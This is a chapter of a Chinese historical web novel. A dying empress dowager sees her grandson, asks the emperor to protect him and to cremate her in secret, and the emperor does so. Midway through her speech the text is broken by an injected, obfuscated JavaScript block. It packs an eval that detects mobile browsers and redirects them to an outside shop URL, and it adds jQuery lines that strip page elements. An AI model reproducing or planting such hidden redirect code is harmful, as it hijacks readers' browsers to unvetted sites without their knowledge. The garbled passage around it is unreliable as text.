就在靖王公子议亲风声渐紧的当口，慈宁宫传来太后病势转急的消息。梁帝仁孝，即刻辍朝亲奉汤药，那桩尚在斟酌的婚事，便暂缓了下来。
慈宁宫内药气浓得化不开。
梁帝在暖阁外间守着，龙袍常服的下摆沾着未及拂去的尘灰，眼底是密布的血丝。整整三日，太后昏沉时多，清醒时少，即便偶尔睁眼，目光也是涣散的，未曾与他有过半分交流，仿佛他们之间隔着的不仅是那道厚重的帐幔，更是数十载深宫岁月积下的、无法消融的冰层。
丑时末，帐内传来极其微弱的、近乎呻吟的吐息声。梁帝几乎是立刻起身，动作快得带翻了手边的茶盏。他掀帘而入，在榻边矮凳上坐下，下意识地握住了母亲露在锦被外的那只手——枯瘦，冰凉，骨头硌得他掌心发疼。
太后的眼珠在眼皮下迟缓地转动，终于挣扎着睁开一线。目光先是空洞地落在帐顶繁复的纹饰上，许久，才极其缓慢地，移到了梁帝脸上。那目光里没有往日的疏离，也没有昏沉时的迷茫，只有一片近乎死水的平静，以及平静之下，某种沉重到令人心悸的、了然的疲惫。
她的嘴唇动了动，干裂的唇纹间渗出血丝。
梁帝立刻俯身，将耳朵凑近：“母后？”
太后的气息微弱，带着痰音，每一个字都像是从破碎的风箱里费力拉扯出来：“……皇帝。”
这一声唤，让梁帝握着她的手几不可察地一紧。母后便极少这样清醒地、不带任何情绪地唤他“皇帝”。这疏离的称呼，却像一根冰冷的针，刺破了他一夜不眠的焦灼，直直扎进心底某个隐秘的角落。
“儿臣在。”他应道，声音是自己都未察觉的干涩。
太后的目光在他憔悴却依旧挺直的面容上停留了片刻，那里面飞快地掠过一丝极复杂的情绪，快得让人抓不住，旋即被更深的疲惫与某种决绝取代。她喘了几口气，胸膛起伏微弱，却执拗地积蓄着力气，目光死死锁住梁帝的眼睛，每个字都吐得异常清晰，带着行将就木之人最后的锋利：
“哀家……怕是不行了。”
梁帝喉头一哽，那些重复了无数遍的、关于太医和吉人天相的宽慰话，此刻竟一个字也吐不出。他只是更紧地握住了那只冰凉的手，仿佛想用自己的温度去焐热它。
太后的目光没有移开，依旧牢牢钉在他脸上，看穿了他所有未曾出口的掩饰。她歇了片刻，再次开口，这一次，目标明确，不容回避：
“临去前……”她喘息着，“哀家想看看戎儿。”
梁帝的身体，瞬间僵住了。
不是细微的停顿，而是整个人，从握着手的手臂，到挺直的背脊，都仿佛被无形的冰水浸透，骤然凝固。暖阁内死寂一片，只有炭火偶尔爆出“噼啪”一声轻响，更衬得这沉默惊心动魄。
太后没有催促，只是用那双浑浊却异常清明的眼睛看着他，那目光像一面冰冷的镜子，清晰地映照出他此刻所有的犹豫、权衡、以及深藏眼底那抹无法掩饰的……忌惮。
这沉默持续了太久。久到太后眼底那点微弱的期待，一点点熄灭，最终化为一片深不见底的、近乎悲凉的了然。
她忽然极轻、极冷地笑了一下，那笑声短促得几乎没有声音，却像一把生锈的钝刀，缓慢地刮过人的耳膜。
“你担心……”她开口，声音比方才更低，更嘶哑，却每个字都像淬了冰，“担心哀家……会对戎儿说什么吗？”
梁帝的嘴唇抿成了一条冷硬而苍白的直线，下颌线绷紧。他没有承认，也没有否认。这无声的姿态，本身就是最明确的答案。
太后闭了闭眼，再睁开时，眼底最后一丝属于“母亲”的柔软情绪也消失殆尽，只剩下一片近乎残酷的平静，和看透世事的疲惫。
“你放心……”她一字一顿，说得极慢，仿佛要用尽最后的力气，将这句话刻进他的骨头里，“这凌迟般的痛……哀家怎么舍得，让戎儿再承受一遍。”
“凌迟”二字，像两块烧红的烙铁，狠狠烫在梁帝心口。他握着太后的手不受控制地轻颤了一下。
太后捕捉到了这细微的颤抖，她的目光依旧钉在他脸上，嘴角那丝冰冷的弧度加深了些许，带着一种近乎残忍的洞察：
“何况……”她喘息更重，却执拗地将话说完，“你以侍疾之名……召他入京，却一直不让我们祖孙相见……”
她顿了顿，积蓄着最后的气力，那目光陡然变得锐利如刀，直刺梁帝最深的隐忧与算计：
“你不怕他……疑心吗？”
最后三个字，轻飘飘落下，却重若千钧，砸在暖阁死寂的空气里，也砸在梁帝紧绷的神经上。
梁帝挺直的背脊几不可察地晃了一下，仿佛内里有什么东西被这句话狠狠撞了一下。他闭了闭眼，复又睁开，眼底翻涌的惊涛骇浪被强行压入深潭，只剩下帝王的深沉与一种近乎认命的疲惫。
他终于松开了那只始终未能焐热的手，缓缓地、极其沉重地站起身。没有再看榻上的母亲，他转向侍立在帐幔阴影中、几乎与黑暗融为一体的怀恩，声音恢复了帝王的平稳，却透着一丝砂砾摩擦般的嘶哑，以及无法完全掩饰的涩意：
“宣靖王府公子戎，即刻来慈宁宫见驾。”
宇文戎走得很快，几乎是小跑。怀恩提着灯笼跟在身侧，几次想提醒他慢些，终究没有开口。
慈宁宫到了。
宫门大开，里面灯火通明，却透着一股沉重的死寂。几个嬷嬷守在门外，见他们来，纷纷低头行礼，眼中带着掩饰不住的悲戚。
宇文戎的脚步在殿门外顿了一瞬。
然后，他深吸一口气，迈过门槛。
暖阁里药气浓郁，炭火烧得很旺，却驱不散那股属于死亡的、阴冷的气息。梁帝站在榻边，见他进来，目光复杂地看了他一眼，没有说话，只是侧身让开了位置。
宇文戎一步步走到榻前。
烛火下，太后的脸苍白得近乎透明，眼眶深陷，嘴唇干裂。那双曾经慈爱地抚摸过他头顶的手，此刻枯瘦如柴，无力地搭在锦被上。
“祖母……”他的声音有些发颤。
太后的眼睛缓缓睁开。看到他的瞬间，那浑浊的眼里骤然亮起一点微弱的光。
“戎……戎儿……”她艰难地抬起手。
宇文戎连忙握住。那手冰凉，轻得仿佛没有重量。
“好孩子……”太后的声音很轻，几乎听不清，“让祖母……好好看看你。”
宇文戎跪在榻前，任由太后枯瘦的手轻轻抚过他的脸颊。那只手颤抖着，却带着一种小心翼翼的温柔。
太后的目光细细描摹他的眉眼，最后落在他裹着厚厚药纱的右腕上。
“疼得厉害么？”她问。
宇文戎垂眼：“太医说，好生将养便无大碍。”
“那就好，”太后沉默良久，才轻轻吐出一口气：“你舅舅……”她声音渐低，像在自言自语，“这些年……不容易。皇帝……不是那么好当的。”
她顿了顿，每个字都说得艰难，却又异常清晰：
“扛着万里江山，兆民生计……他的难处，比谁都多。”
阴影里，梁帝执匙的手微微一顿。
“戎儿啊，”太后的视线重新聚焦，带着临终之人特有的透彻，“有些事……该放下就放下罢。背着太沉……走不远的。”
宇文戎喉结滚动。
“好好活着。”她盯着他的眼睛，一字一句，“不为别人……就为你自己。这是皇奶奶……对你……唯一的期望。”
宇文戎眼眶骤然红了。他忽然俯身，额头抵在榻边冰冷的木沿上，声音哽咽：“皇奶奶……让戎儿陪着您……让戎儿照顾您……”
太后枯瘦的手颤抖着抬起，这一次，终于轻轻落在他低垂的发顶。很轻的一触，很快便收了回去。
“傻孩子……”她声音软下来，却带着不容转圜的疲惫，“你自己……还是个病人呢。”
宇文戎抬头，还想说什么。
太后却已闭上眼，声音轻得像叹息：“戎儿，听话……回去好好养着。莫要……再让皇奶奶伤神了。”
那语调里的倦意如此之深，深到让人无法拒绝。
宇文戎僵在原地，看着老人紧闭的眼和微蹙的眉头——那姿态里没有半分转圜的余地，只有一片近乎心碎的、最后的坚持。
他终究缓缓起身，后退，每一步都沉重如灌铅。
退至门边，他最后回望。
太后半阖着眼，忽又睁开。
“戎儿，手要仔细养，”太后声音嘶哑，却执拗地吐字，“天冷添衣……按时用药。”
“孙儿谨记。”
“去吧。”
宇文戎深深望了她一眼，转身。殿门合拢。
梁帝始终站在原处，背脊挺直如尺，
---
漫长的寂静在殿内蔓延。梁帝望着碗中浓黑的药汁，没有动。
“磬儿。”太后的声音忽然响起，平静得异样。
梁帝抬眸。
“这是母亲……能为你做的，最后一件事了。”太后望着帐顶，目光空茫，“往后……你好自为之。”
她顿了顿，似乎积蓄力气。
“听说……你在为戎儿物色贵女。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048624|194767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
梁帝背脊微不可察地一僵。
“娶亲的事……”太后侧过头，目光落在他脸上，“你随他的意吧。”
梁帝喉结滚动：“母后，儿臣只是——”
“——毕竟当年，”太后打断他，声音轻得像叹息，“哀家也成全了你。”
梁帝所有的话都堵在喉间。
太后的目光飘远，仿佛穿透岁月，看到很远的地方。“先帝当年……若不是横刀夺爱，强迫哀家入宫，”她每个字都说得极慢，极清晰，“也不会让你姐弟二人……平白承受那么多。”
她闭上眼，深吸一口气，再睁开时，眼底只剩一片冰冷的决绝：
“先帝他……何德何能，也配让哀家与他合葬？”
梁帝猛地站起身，药碗在矮几上晃出刺耳的声响。
“母后！此言——”
“——听我说完。”太后平静地截断他，那目光里的沉静比任何激动都更有力量，“哀家死后，不必惊动天下。找个僻静处，一把火烧干净。骨灰……撒入江河也好，埋于山野也罢。”
她顿了顿，声音更轻，却字字诛心：
“至于世人眼前……立个衣冠冢便是。唬一唬天下人……也全了你的体面。”
梁帝胸膛起伏，立在原地，像一尊骤然被冻结的雕像。
太后看着他骤变的脸色，缓缓补充：“这是哀家的遗愿。你……照办便是。”
许久，梁帝才从牙缝里挤出声音：“儿臣……遵旨。”
太后仿佛没听见他声音里的颤抖。她重新望向帐顶，眼神渐渐涣散，声音也飘忽起来：
“磬儿……馨儿为了你……为了大梁，”她喃喃，每个字都像浸透了陈年的血泪，“付出了她所能付出的一切……”
她忽然转过脸，目光死死盯住梁帝，那双浑浊的眼眸里爆发出最后一点惊人的亮光：
“戎儿……是她唯一的骨血。”
她伸出手，枯瘦的手指在空中颤抖着，仿佛想抓住什么，最终却只是无力地落在锦被上。
“你一定要保全他。”她一字一顿，声音轻，却重如泰山，“就当……”
她停顿，眼底那点光迅速黯淡下去，最后几个字轻得几不可闻：
“母后……求你。”
话音落尽，她彻底合上眼。胸口的起伏微弱得几乎看不见，只有唇间一丝游息，证明生命尚未全然离去。
梁帝僵立在榻前。
他看着母亲最后归于沉寂的脸，看着那只曾抚过他额头、如今却枯槁如柴的手。
殿外有风声，有遥远的更漏声。
但他只听得到自己胸膛里，那颗帝王之心沉重而孤独的跳动。
还有母亲最后那句——
“就当母后……求你。”
他缓缓跪了下来。
额头抵在冰冷的地砖上，许久，许久。
没有泪。
没有声。
只有肩胛细微的、几乎无法察觉的颤抖。
直到远处钟鸣敲响午时，他才缓缓直起身。
脸上已没有任何情绪，只剩一片深潭般的平静。他伸手，为母亲掖好被角，动作轻柔得近乎敬畏。
然后起身，转身，走向殿门。
步伐稳如磐石。
只是在推开殿门的前一瞬，他极轻地、几乎无声地，吐出一句话：
“儿臣……记住了。”
门开，光涌。
他步入那片刺眼的秋阳中，没有回头。
---
三日后，太后薨。
国丧依制，天下缟素。
第七日，隆重肃穆的送葬队伍自皇城而出，浩浩荡荡前往皇陵。百官随行，万民跪送。金丝楠木棺椁内，只置太后常服冠冕，清香缭绕。
陵寝之前，梁帝率宗亲百官，行三跪九叩大礼。礼成，棺椁入地宫，石门沉沉落下。
世人皆道：太后哀荣至极。
当夜，西山静苑。
一乘无标识的青布小车悄然驶入。数名黑衣内侍抬出一具以素帛包裹的遗躯，置于早已备好的松木柴堆之上。
梁帝独自立于院中。没有仪仗，没有百官，只有夜风呼啸。
他亲手执火把，点燃柴堆。
烈焰轰然腾起，吞噬素帛，吞噬过往，吞噬所有未曾言明的爱憎与亏欠。
火光映亮他半边脸，另外半边沉在黑暗里。玄色常服在热浪中纹丝不动，唯有负在身后的手，紧握成拳，指节青白。
他始终站着，直到最后一簇火焰熄灭，直到灰烬在夜风中打着旋儿飘散，融入无边夜色。